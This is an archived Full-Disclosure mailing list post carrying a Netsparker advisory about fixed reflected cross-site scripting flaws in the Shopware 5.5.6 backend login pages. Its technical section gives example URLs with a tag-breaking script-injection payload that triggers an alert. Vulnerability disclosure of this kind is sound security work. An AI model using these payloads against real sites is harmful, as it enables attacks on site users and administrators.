lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Fri, 31 May 2019 10:48:05 +0200
From: Daniel Bishtawi <daniel@...sparker.com>
To: vuln@...unia.com, submissions@...ketstormsecurity.org, 
 fulldisclosure@...lists.org, bugs@...uritytracker.com
Subject: [FD] Multiple Cross-site Scripting Vulnerabilities in Shopware 5.5.6

Hello,

We are informing you about the vulnerabilities we reported in Shopware
5.5.6.


*Information:    *
Advisory by Netsparker
Name: Multiple Cross-site Scripting Vulnerabilities in Shopware
Affected Software: Shopware
Affected Versions: 5.5.6
Homepage: https://en.shopware.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-19-004


*Technical Details:*
URL : http://
{DOMAIN}/{PATH-OF-SHOPWARE}/backend/Login?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String
Parameter Name : Query Based
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>

URL : http://
{DOMAIN}/{PATH-OF-SHOPWARE}/backend/Login/load/?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String
Parameter Name : Query Based
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>

Regards,

Daniel Bishtawi
Marketing Administrator | Netsparker Web Application Security Scanner
Tel: +44 (0)20 3588 3843
Follow us on Twitter <https://twitter.com/netsparker> | LinkedIn
<https://www.linkedin.com/company/netsparker-ltd> | Facebook
<https://facebook.com/netsparker>

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists